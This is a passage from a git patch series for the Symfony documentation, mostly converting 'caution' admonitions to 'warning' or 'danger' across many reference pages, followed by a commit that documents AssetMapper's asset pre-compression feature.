@@ -71,7 +71,7 @@ Overridden Options
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the language type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 1868f20eda1..15b9af8b7fb 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
@@ -48,7 +48,7 @@ Overridden Options
 The choices option defaults to all locales. It uses the default locale to
 specify the language.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the locale type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 9f98b49158b..1568ec891f9 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -72,9 +72,10 @@ html5
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
-.. caution::
+.. warning::
 
-    As HTML5 number format is normalized, it is incompatible with ``grouping`` option.
+    As HTML5 number format is normalized, it is incompatible with the ``grouping``
+    option.
 
 scale
 ~~~~~
diff --git a/reference/forms/types/options/_date_limitation.rst.inc b/reference/forms/types/options/_date_limitation.rst.inc
index 4e5b1be4c87..04106ee7e21 100644
--- a/reference/forms/types/options/_date_limitation.rst.inc
+++ b/reference/forms/types/options/_date_limitation.rst.inc
@@ -1,4 +1,4 @@
-.. caution::
+.. warning::
 
     If ``timestamp`` is used, ``DateType`` is limited to dates between
     Fri, 13 Dec 1901 20:45:54 UTC and Tue, 19 Jan 2038 03:14:07 UTC on 32bit
diff --git a/reference/forms/types/options/choice_name.rst.inc b/reference/forms/types/options/choice_name.rst.inc
index 4ec8abb6ffe..4268c307d17 100644
--- a/reference/forms/types/options/choice_name.rst.inc
+++ b/reference/forms/types/options/choice_name.rst.inc
@@ -25,7 +25,7 @@ By default, the choice key or an incrementing integer may be used (starting at `
 
     See the :ref:`"choice_loader" option documentation <reference-form-choice-loader>`.
 
-.. caution::
+.. warning::
 
     The configured value must be a valid form name. Make sure to only return
     valid names when using a callable. Valid form names must be composed of
diff --git a/reference/forms/types/options/data.rst.inc b/reference/forms/types/options/data.rst.inc
index c3562d0a8b1..34f86e7c4c6 100644
--- a/reference/forms/types/options/data.rst.inc
+++ b/reference/forms/types/options/data.rst.inc
@@ -16,7 +16,7 @@ an individual field, you can set it in the data option::
         'data' => 'abcdef',
     ]);
 
-.. caution::
+.. warning::
 
     The ``data`` option *always* overrides the value taken from the domain data
     (object) when rendering. This means the object value is also overridden when
diff --git a/reference/forms/types/options/empty_data_description.rst.inc b/reference/forms/types/options/empty_data_description.rst.inc
index e654a7037df..b143b9438fe 100644
--- a/reference/forms/types/options/empty_data_description.rst.inc
+++ b/reference/forms/types/options/empty_data_description.rst.inc
@@ -22,7 +22,7 @@ initial value in the rendered form.
     :doc:`/form/use_empty_data` article for more details about these
     options.
 
-.. caution::
+.. warning::
 
     :doc:`Form data transformers </form/data_transformers>` will still be
     applied to the ``empty_data`` value. This means that an empty string will
diff --git a/reference/forms/types/options/inherit_data.rst.inc b/reference/forms/types/options/inherit_data.rst.inc
index 1b63cc4b56f..f35f6d56b00 100644
--- a/reference/forms/types/options/inherit_data.rst.inc
+++ b/reference/forms/types/options/inherit_data.rst.inc
@@ -7,7 +7,7 @@ This option determines if the form will inherit data from its parent form.
 This can be useful if you have a set of fields that are duplicated across
 multiple forms. See :doc:`/form/inherit_data_option`.
 
-.. caution::
+.. warning::
 
     When a field has the ``inherit_data`` option set, it uses the data of
     the parent form as is. This means that
diff --git a/reference/forms/types/options/value.rst.inc b/reference/forms/types/options/value.rst.inc
index ddbfff6660d..e4669faa7e4 100644
--- a/reference/forms/types/options/value.rst.inc
+++ b/reference/forms/types/options/value.rst.inc
@@ -6,7 +6,7 @@
 The value that's actually used as the value for the checkbox or radio button.
 This does not affect the value that's set on your object.
 
-.. caution::
+.. warning::
 
     To make a checkbox or radio button checked by default, use the `data`_
     option.
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 162985262e0..bd8ac19a061 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -49,7 +49,7 @@ Data passed to the form must be a
 :class:`Symfony\\Component\\Security\\Core\\User\\PasswordAuthenticatedUserInterface`
 object.
 
-.. caution::
+.. warning::
 
     To minimize the risk of leaking the plain password, this option can
     only be used with the :ref:`"mapped" option <reference-form-password-mapped>`
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index cf56d3067de..47a32368b99 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -19,7 +19,7 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
-.. caution::
+.. warning::
 
     When allowing users to type HTML code in the textarea (or using a
     WYSIWYG) editor, the application is vulnerable to :ref:`XSS injection <xss-attacks>`,
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ce41c6ff74..e4ec432da08 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -115,7 +115,7 @@ of the time. This must be a valid `PHP time format`_.
 
 .. include:: /reference/forms/types/options/model_timezone.rst.inc
 
-.. caution::
+.. warning::
 
     When using different values for ``model_timezone`` and `view_timezone`_,
     a `reference_date`_ must be configured.
@@ -136,7 +136,7 @@ based on this date.
 When no `reference_date`_ is set the ``view_timezone`` defaults to the
 configured `model_timezone`_.
 
-.. caution::
+.. warning::
 
     When using different values for `model_timezone`_ and ``view_timezone``,
     a `reference_date`_ must be configured.
@@ -159,7 +159,7 @@ following:
   will be validated against the form ``hh:mm`` (or ``hh:mm:ss`` if using
   seconds).
 
-.. caution::
+.. warning::
 
     Combining the widget type ``single_text`` and the `with_minutes`_ option
     set to ``false`` can cause unexpected behavior in the client as the
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 3750e1b98d8..ceb72eb6979 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -69,7 +69,7 @@ Overridden Options
 The Timezone type defaults the choices to all timezones returned by
 :phpmethod:`DateTimeZone::listIdentifiers`, broken down by continent.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the timezone type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/routing.rst b/routing.rst
index 02e5809cddb..47fcfe8cb8f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -85,7 +85,7 @@ the ``list()`` method of the ``BlogController`` class.
     example, URLs like ``/blog?foo=bar`` and ``/blog?foo=bar&bar=foo`` will
     also match the ``blog_list`` route.
 
-.. caution::
+.. warning::
 
     If you define multiple PHP classes in the same file, Symfony only loads the
     routes of the first class, ignoring all the other routes.
@@ -419,7 +419,7 @@ Behind the scenes, expressions are compiled down to raw PHP. Because of this,
 using the ``condition`` key causes no extra overhead beyond the time it takes
 for the underlying PHP to execute.
 
-.. caution::
+.. warning::
 
     Conditions are *not* taken into account when generating URLs (which is
     explained later in this article).
@@ -874,7 +874,7 @@ other configuration formats they are defined with the ``defaults`` option:
 Now, when the user visits ``/blog``, the ``blog_list`` route will match and
 ``$page`` will default to a value of ``1``.
 
-.. caution::
+.. warning::
 
     You can have more than one optional parameter (e.g. ``/blog/{slug}/{page}``),
     but everything after an optional parameter must be optional. For example,
@@ -1565,7 +1565,7 @@ when importing the routes.
             ;
         };
 
-.. caution::
+.. warning::
 
     The ``exclude`` option only works when the ``resource`` value is a glob string.
     If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude``
@@ -2385,7 +2385,7 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
-.. caution::
+.. warning::
 
     While objects are converted to string when used as placeholders, they are not
     converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
diff --git a/security.rst b/security.rst
index 8661263b90d..42489f6e3fe 100644
--- a/security.rst
+++ b/security.rst
@@ -902,7 +902,7 @@ Finally, create or update the template:
         </form>
     {% endblock %}
 
-.. caution::
+.. warning::
 
     The ``error`` variable passed into the template is an instance
     of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
@@ -2298,7 +2298,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
 ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
 ``ROLE_ADMIN``).
 
-.. caution::
+.. warning::
 
     For role hierarchy to work, do not use ``$user->getRoles()`` manually.
     For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
diff --git a/security/access_control.rst b/security/access_control.rst
index e27edde8e74..d658b6b7c26 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -221,7 +221,7 @@ Example #7:
   * **Why?** This doesn't match any ``access_control`` rules, since its URI
   * doesn't match any of the ``path`` values.
 
-.. caution::
+.. warning::
 
     Matching the URI is done without ``$_GET`` parameters.
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
@@ -254,7 +254,7 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
-.. caution::
+.. warning::
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
@@ -276,7 +276,7 @@ entry that *only* matches requests coming from some IP address or range.
 For example, this *could* be used to deny access to a URL pattern to all
 requests *except* those from a trusted, internal server.
 
-.. caution::
+.. warning::
 
     As you'll read in the explanation below the example, the ``ips`` option
     does not restrict to a specific IP address. Instead, using the ``ips``
diff --git a/security/access_token.rst b/security/access_token.rst
index 18f28e9f9f5..608a8395844 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -107,7 +107,7 @@ This handler must implement
 The access token authenticator will use the returned user identifier to
 load the user using the :ref:`user provider <security-user-providers>`.
 
-.. caution::
+.. warning::
 
     It is important to check the token if is valid. For instance, the
     example above verifies whether the token has not expired. With
@@ -136,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_:
     The token is part of the request body during a POST request. Usually
     ``access_token``.
 
-.. caution::
+.. warning::
 
     Because of the security weaknesses associated with the URI method,
     including the high likelihood that the URL or the request body
diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index 79b756b4880..a641d62612e 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -5,7 +5,7 @@ Sometimes, it's useful to be able to switch from one user to another without
 having to log out and log in again (for instance when you are debugging something
 a user sees that you can't reproduce).
 
-.. caution::
+.. warning::
 
     User impersonation is not compatible with some authentication mechanisms
     (e.g. ``REMOTE_USER``) where the authentication information is expected to be
diff --git a/security/ldap.rst b/security/ldap.rst
index b8db2d03a4f..4345f55e6d9 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -197,14 +197,14 @@ use the ``ldap`` user provider.
             ;
         };
 
-.. caution::
+.. danger::
 
     The Security component escapes provided input data when the LDAP user
     provider is used. However, the LDAP component itself does not provide
     any escaping yet. Thus, it's your responsibility to prevent LDAP injection
     attacks when using the component directly.
 
-.. caution::
+.. warning::
 
     The user configured above in the user provider is only used to retrieve
     data. It's a static user defined by its username and password (for improved
diff --git a/security/login_link.rst b/security/login_link.rst
index 4bfe16ef2e9..4ee1773d4e0 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -194,7 +194,7 @@ controller. Based on this property, the correct user is loaded and a login
 link is created using
 :method:`Symfony\\Component\\Security\\Http\\LoginLink\\LoginLinkHandlerInterface::createLoginLink`.
 
-.. caution::
+.. warning::
 
     It is important to send this link to the user and **not show it directly**,
     as that would allow anyone to login. For instance, use the
diff --git a/security/passwords.rst b/security/passwords.rst
index 09e01507dec..fe20187b3a0 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -644,7 +644,7 @@ the name of the hasher to use::
         }
     }
 
-.. caution::
+.. warning::
 
     When :ref:`migrating passwords <security-password-migration>`, you don't
     need to implement ``PasswordHasherAwareInterface`` to return the legacy
diff --git a/security/user_providers.rst b/security/user_providers.rst
index 17a18468168..09d47c270f2 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -257,7 +257,7 @@ After setting up hashing, you can configure all the user information in
             ;
         };
 
-.. caution::
+.. warning::
 
     When using a ``memory`` provider, and not the ``auto`` algorithm, you have
     to choose an encoding without salt (i.e. ``bcrypt``).
diff --git a/security/voters.rst b/security/voters.rst
index 5423133dcd0..21e2c8de33b 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -273,7 +273,7 @@ with ``ROLE_SUPER_ADMIN``::
         }
     }
 
-.. caution::
+.. warning::
 
     In the previous example, avoid using the following code to check if a role
     is granted permission::
diff --git a/serializer.rst b/serializer.rst
index 6cb0a564f3a..908f2e3ba2c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1073,7 +1073,7 @@ using :doc:`valid PropertyAccess syntax </components/property_access>`:
             </class>
         </serializer>
 
-.. caution::
+.. warning::
 
     The ``SerializedPath`` cannot be used in combination with a
     ``SerializedName`` for the same property.
diff --git a/service_container.rst b/service_container.rst
index 1f3a248dbe5..c1f5dc7b5f4 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -582,7 +582,7 @@ accessor methods for parameters::
     // adds a new parameter
     $container->setParameter('mailer.transport', 'sendmail');
 
-.. caution::
+.. warning::
 
     The used ``.`` notation is a
     :ref:`Symfony convention <service-naming-conventions>` to make parameters
@@ -1392,7 +1392,7 @@ and ``site_update_manager.normal_users``. Thanks to the alias, if you type-hint
 If you want to pass the second, you'll need to :ref:`manually wire the service <services-wire-specific-service>`
 or to create a named :ref:`autowiring alias <autowiring-alias>`.
 
-.. caution::
+.. warning::
 
     If you do *not* create the alias and are :ref:`loading all services from src/ <service-container-services-load-example>`,
     then *three* services have been created (the automatic service + your two services)
diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index e54a99237d9..a2a50591668 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -86,7 +86,7 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
-    
+
     // adds a new named argument
     // '$argumentName' = the name of the argument in the constructor, including the '$' symbol
     $definition = $definition->setArgument('$argumentName', $argumentValue);
@@ -100,7 +100,7 @@ fetched from the container::
     // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
-.. caution::
+.. warning::
 
     Don't use ``get()`` to get a service that you want to inject as constructor
     argument, the service is not yet available. Instead, use a
diff --git a/service_container/lazy_services.rst b/service_container/lazy_services.rst
index 827d36a0662..9af730867de 100644
--- a/service_container/lazy_services.rst
+++ b/service_container/lazy_services.rst
@@ -21,7 +21,7 @@ Configuring lazy services is one answer to this. With a lazy service, a
 like the ``mailer``, except that the ``mailer`` isn't actually instantiated
 until you interact with the proxy in some way.
 
-.. caution::
+.. warning::
 
     Lazy services do not support `final`_ or ``readonly`` classes, but you can use
     `Interface Proxifying`_ to work around this limitation.
diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst
index 18bc5d4d85f..7bf1fb9165d 100644
--- a/service_container/service_decoration.rst
+++ b/service_container/service_decoration.rst
@@ -683,7 +683,7 @@ Three different behaviors are available:
             ;
         };
 
-.. caution::
+.. warning::
 
     When using ``null``, you may have to update the decorator constructor in
     order to make decorated dependency nullable::
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index da5cb415800..fe0a51b4c81 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -947,7 +947,7 @@ and compose your services with them::
         }
     }
 
-.. caution::
+.. warning::
 
     When creating these helper traits, the service id cannot be ``__METHOD__``
     as this will include the trait name, not the class name. Instead, use
diff --git a/service_container/tags.rst b/service_container/tags.rst
index ceb5887328c..f905ed1895e 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -112,7 +112,7 @@ If you want to apply tags automatically for your own services, use the
                     ->tag('app.custom_tag');
         };
 
-.. caution::
+.. warning::
 
     If you're using PHP configuration, you need to call ``instanceof`` before
     any service registration to make sure tags are correctly applied.
diff --git a/session.rst b/session.rst
index e3aabbf201b..9ddf3eb028d 100644
--- a/session.rst
+++ b/session.rst
@@ -419,7 +419,7 @@ session metadata files:
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`.
 
-.. caution::
+.. warning::
 
     Symfony sessions are incompatible with ``php.ini`` directive
     ``session.auto_start = 1`` This directive should be turned off in
@@ -1531,7 +1531,7 @@ event::
         }
     }
 
-.. caution::
+.. warning::
 
     In order to update the language immediately after a user has changed their
     language preferences, you also need to update the session when you change
diff --git a/setup/_update_all_packages.rst.inc b/setup/_update_all_packages.rst.inc
index a6a6c70e570..7b858c51351 100644
--- a/setup/_update_all_packages.rst.inc
+++ b/setup/_update_all_packages.rst.inc
@@ -9,7 +9,7 @@ this safely by running:
 
     $ composer update
 
-.. caution::
+.. warning::
 
     Beware, if you have some unspecific `version constraints`_ in your
     ``composer.json`` (e.g. ``dev-master``), this could upgrade some
diff --git a/setup/file_permissions.rst b/setup/file_permissions.rst
index 7bf2d0bf035..45195f21e31 100644
--- a/setup/file_permissions.rst
+++ b/setup/file_permissions.rst
@@ -67,12 +67,12 @@ Edit your web server configuration (commonly ``httpd.conf`` or ``apache2.conf``
 for Apache) and set its user to be the same as your CLI user (e.g. for Apache,
 update the ``User`` and ``Group`` directives).
 
-.. caution::
+.. danger::
 
     If this solution is used in a production server, be sure this user only has
     limited privileges (no access to private data or servers, execution of
-    unsafe binaries, etc.) as a compromised server would give to the hacker
-    those privileges.
+    unsafe binaries, etc.) as a compromised server would give those privileges
+    to the hacker.
 
 3. Without Using ACL
 ~~~~~~~~~~~~~~~~~~~~
@@ -89,7 +89,7 @@ and ``public/index.php`` files::
 
     umask(0000); // This will let the permissions be 0777
 
-.. caution::
+.. warning::
 
     Changing the ``umask`` is not thread-safe, so the ACL methods are recommended
     when they are available.
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index f8b7c6e35c4..2ea4da543fe 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -294,7 +294,7 @@ domains work:
     # Example with Cypress
     $ https_proxy=$(symfony proxy:url) ./node_modules/bin/cypress open
 
-.. caution::
+.. warning::
 
     Although env var names are always defined in uppercase, the ``https_proxy``
     env var `is treated differently`_ than other env vars and its name must be
@@ -357,7 +357,7 @@ There are several options that you can set using a ``.symfony.local.yaml`` confi
         use_gzip: true # Toggle GZIP compression
         no_workers: true # Do not start workers
 
-.. caution::
+.. warning::
 
     Setting domains in this configuration file will override any domains you set
     using the ``proxy:domain:attach`` command for the current project when you start
@@ -524,7 +524,7 @@ its location, same as for ``docker-compose``:
     If you have more than one Docker Compose file, you can provide them all
     separated by ``:`` as explained in the `Docker compose CLI env var reference`_.
 
-.. caution::
+.. warning::
 
     When using the Symfony binary with ``php bin/console`` (``symfony console ...``),
     the binary will **always** use environment variables detected via Docker and will
@@ -534,7 +534,7 @@ its location, same as for ``docker-compose``:
     ``symfony console doctrine:database:drop --force --env=test``, the command will drop the database
     defined in your Docker configuration and not the "test" one.
 
-.. caution::
+.. warning::
 
     Similar to other web servers, this tool automatically exposes all environment
     variables available in the CLI context. Ensure that this local server is not
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index f7d2b697550..8c172c49b29 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -98,7 +98,7 @@ Now, you can start fixing the notices:
 Once you fixed them all, the command ends with ``0`` (success) and you're
 done!
 
-.. caution::
+.. warning::
 
     You will probably see many deprecations about incompatible native
     return types. See :ref:`Add Native Return Types <upgrading-native-return-types>`
diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index f8f4bd76606..acd76c342b9 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -129,7 +129,7 @@ The **minimum configuration** to get your application running under Nginx is:
     If you have other PHP files in your public directory that need to be executed,
     be sure to include them in the ``location`` block above.
 
-.. caution::
+.. warning::
 
     After you deploy to production, make sure that you **cannot** access the ``index.php``
     script (i.e. ``http://example.com/index.php``).
diff --git a/templates.rst b/templates.rst
index a477c251371..77e10bc5596 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1091,7 +1091,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
             $framework->fragments()->path('/_fragment');
         };
 
-.. caution::
+.. warning::
 
     Embedding controllers requires making requests to those controllers and
     rendering some templates as result. This can have a significant impact on
@@ -1297,7 +1297,7 @@ different templates to create the final contents. This inheritance mechanism
 boosts your productivity because each template includes only its unique contents
 and leaves the repeated contents and HTML structure to some parent templates.
 
-.. caution::
+.. warning::
 
     When using ``extends``, a child template is forbidden to define template
     parts outside of a block. The following code throws a ``SyntaxError``:
diff --git a/testing.rst b/testing.rst
index f989b7e9961..4e719bc23d5 100644
--- a/testing.rst
+++ b/testing.rst
@@ -235,7 +235,7 @@ in them, files lower in the list override previous items):
 #. ``.env.test``: overriding/setting specific test values or vars;
 #. ``.env.test.local``: overriding settings specific for this machine.
 
-.. caution::
+.. warning::
 
     The ``.env.local`` file is **not** used in the test environment, to
     make each test set-up as consistent as possible.
@@ -761,7 +761,7 @@ You can also override HTTP headers on a per request basis::
         'HTTP_USER_AGENT' => 'MySuperBrowser/1.0',
     ]);
 
-.. caution::
+.. warning::
 
     The name of your custom headers must follow the syntax defined in the
     `section 4.1.18 of RFC 3875`_: replace ``-`` by ``_``, transform it into
diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index e43f5fa2be2..d59f243f998 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -457,7 +457,7 @@ Accepting Self-Signed SSL Certificates
 To force Chrome to accept invalid and self-signed certificates, you can set the
 following environment variable: ``PANTHER_CHROME_ARGUMENTS='--ignore-certificate-errors'``.
 
-.. caution::
+.. danger::
 
     This option is insecure, use it only for testing in development environments,
     never in production (e.g. for web crawlers).
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 46ddb82b87d..8262bf3769d 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -1,7 +1,7 @@
 How to Simulate HTTP Authentication in a Functional Test
 ========================================================
 
-.. caution::
+.. warning::
 
     Starting from Symfony 5.1, a ``loginUser()`` method was introduced to
     ease testing secured applications. See :ref:`testing_logging_in_users`
diff --git a/testing/insulating_clients.rst b/testing/insulating_clients.rst
index 5a76d517ced..ea9cba3c046 100644
--- a/testing/insulating_clients.rst
+++ b/testing/insulating_clients.rst
@@ -43,7 +43,7 @@ clean PHP process, thus avoiding any side effects.
     As an insulated client is slower, you can keep one client in the main
     process, and insulate the other ones.
 
-.. caution::
+.. warning::
 
     Insulating tests requires some serializing and unserializing operations. If
     your test includes data that can't be serialized, such as file streams when
diff --git a/translation.rst b/translation.rst
index b6138c02847..ed44b6d4912 100644
--- a/translation.rst
+++ b/translation.rst
@@ -392,7 +392,7 @@ translation of *static blocks of text*:
 
     {% trans %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     The ``%var%`` notation of placeholders is required when translating in
     Twig templates using the tag.
@@ -410,7 +410,7 @@ You can also specify the message domain and pass some additional variables:
 
     {% trans with {'%name%': 'Fabien'} from 'app' into 'fr' %}Hello %name%{% endtrans %}
 
-.. caution::
+.. warning::
 
     Using the translation tag has the same effect as the filter, but with one
     major difference: automatic output escaping is **not** applied to translations
@@ -536,7 +536,7 @@ The choice of which loader to use is entirely up to you and is a matter of
 taste. The recommended option is to use YAML for simple projects and use XLIFF
 if you're generating translations with specialized programs or teams.
 
-.. caution::
+.. warning::
 
     Each time you create a *new* message catalog (or install a bundle
     that includes a translation catalog), be sure to clear your cache so
@@ -1188,7 +1188,7 @@ unused translation messages templates:
 
     {{ 'Symfony is great'|trans }}
 
-.. caution::
+.. warning::
 
     The extractors can't find messages translated outside templates (like form
     labels or controllers) unless using :ref:`translatable objects
diff --git a/validation.rst b/validation.rst
index d391aa6492c..79ab57dc8e4 100644
--- a/validation.rst
+++ b/validation.rst
@@ -529,7 +529,7 @@ class to have at least 3 characters.
             }
         }
 
-.. caution::
+.. warning::
 
     The validator will use a value ``null`` if a typed property is uninitialized.
     This can cause unexpected behavior if the property holds a value when initialized.
diff --git a/validation/groups.rst b/validation/groups.rst
index 3842c781969..8d84e52c0da 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -140,7 +140,7 @@ Constraints in the ``Default`` group of a class are the constraints that have
 either no explicit group configured or that are configured to a group equal to
 the class name or the string ``Default``.
 
-.. caution::
+.. warning::
 
     When validating *just* the User object, there is no difference between the
     ``Default`` group and the ``User`` group. But, there is a difference if
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 7d3663f45fc..836568c2327 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -117,7 +117,7 @@ In this example, it will first validate all constraints in the group ``User``
 (which is the same as the ``Default`` group). Only if all constraints in
 that group are valid, the second group, ``Strict``, will be validated.
 
-.. caution::
+.. warning::
 
     As you have already seen in :doc:`/validation/groups`, the ``Default`` group
     and the group containing the class name (e.g. ``User``) were identical.
@@ -131,7 +131,7 @@ that group are valid, the second group, ``Strict``, will be validated.
     sequence, which will contain the ``Default`` group which references the
     same group sequence, ...).
 
-.. caution::
+.. warning::
 
     Calling ``validate()`` with a group in the sequence (``Strict`` in previous
     example) will cause a validation **only** with that group and not with all
diff --git a/workflow.rst b/workflow.rst
index 1bf693af049..42c464840ab 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -316,7 +316,7 @@ if you are using Doctrine, the matching column definition should use the type ``
         // ...
     }
 
-.. caution::
+.. warning::
 
     You should not use the type ``simple_array`` for your marking store. Inside
     a multiple state marking store, places are stored as keys with a value of one,

From c14a4e733e4ba53e7fc5746356465d8924b22f5c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 7 Dec 2024 10:48:52 +0100
Subject: [PATCH 6554/7107] [AssetMapper] Document the feature that
 precompresses assets

---
 frontend/asset_mapper.rst | 61 ++++++++++++++++++++++++++++++++++++++-
 1 file changed, 60 insertions(+), 1 deletion(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index f519c7c6109..708de32979f 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -656,7 +656,9 @@ which will automatically do most of these things for you:
 - **Compress your assets**: Your web server should compress (e.g. using gzip)
   your assets (JavaScript, CSS, images) before sending them to the browser. This
   is automatically enabled in Caddy and can be activated in Nginx and Apache.
-  In Cloudflare, assets are compressed by default.
+  In Cloudflare, assets are compressed by default. AssetMapper also supports
+  :ref:`precompressing your web assets <performance-precompressing>` to further
+  improve performance.
 
 - **Set long-lived cache expiry**: Your web server should set a long-lived
   ``Cache-Control`` HTTP header on your assets. Because the AssetMapper component includes a version
@@ -704,6 +706,57 @@ even though it hasn't yet seen the ``import`` statement for them.
 Additionally, if the :doc:`WebLink Component </web_link>` is available in your application,
 Symfony will add a ``Link`` header in the response to preload the CSS files.
 
+.. _performance-precompressing:
+
+Pre-Compressing Assets
+----------------------
+
+Although most servers (Caddy, Nginx, Apache, FrankenPHP) and services like Cloudflare
+provide asset compression features, AssetMapper also allows you to compress all
+your assets before serving them.
+
+This improves performance because you can compress assets using the highest (and
+slowest) compression ratios beforehand and provide those compressed assets to the
+server, which then returns them to the client without wasting CPU resources on
+compression.
+
+AssetMapper supports  `Brotli`_, `Zstandard`_ and  `gzip`_ compression formats.
+Before using any of them, the server that pre-compresses assets must have
+installed the following PHP extensions or CLI commands:
+
+* Brotli: ``brotli`` CLI command; `brotli PHP extension`_;
+* Zstandard: ``zstd`` CLI command; `zstd PHP extension`_;
+* gzip: ``gzip`` CLI command; `zlib PHP extension`_.
+
+Then, update your AssetMapper configuration to define which compression to use
+and which file extensions should be compressed:
+
+.. code-block:: yaml
+
+    # config/packages/asset_mapper.yaml
+    framework:
+        asset_mapper:
+            # ...
+
+            precompress:
+                format: 'zstandard'
+                # if you don't define the following option, AssetMapper will compress all
+                # the extensions considered safe (css, js, json, svg, xml, ttf, otf, wasm, etc.)
+                extensions: ['css', 'js', 'json', 'svg', 'xml']
+
+Now, when running the ``asset-map:compile`` command, all matching files will be
+compressed in the configured format and at the highest compression level. The
+compressed files are created with the same name as the original but with the
+``.br``, ``.zst``, or ``.gz`` extension appended. Web servers that support asset
+precompression will use the compressed assets automatically, so there's nothing
+else to configure in your server.
+
+.. tip::
+
+    AssetMapper provides an ``assets:compress`` CLI command and a service called
+    ``asset_mapper.compressor`` that you can use anywhere in your application to
+    compress any kind of files (e.g. files uploaded by users to your application).
+
 Frequently Asked Questions
 --------------------------
 
@@ -1195,3 +1248,9 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _strict-dynamic: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src#strict-dynamic
 .. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle
 .. _`SensioLabs Minify Bundle`: https://github.com/sensiolabs/minify-bundle
+.. _`Brotli`: https://en.wikipedia.org/wiki/Brotli
+.. _`Zstandard`: https://en.wikipedia.org/wiki/Zstd
+.. _`gzip`: https://en.wikipedia.org/wiki/Gzip
+.. _`brotli PHP extension`: https://pecl.php.net/package/brotli
+.. _`zstd PHP extension`: https://pecl.php.net/package/zstd
+.. _`zlib PHP extension`: https://www.php.net/manual/en/book.zlib.php

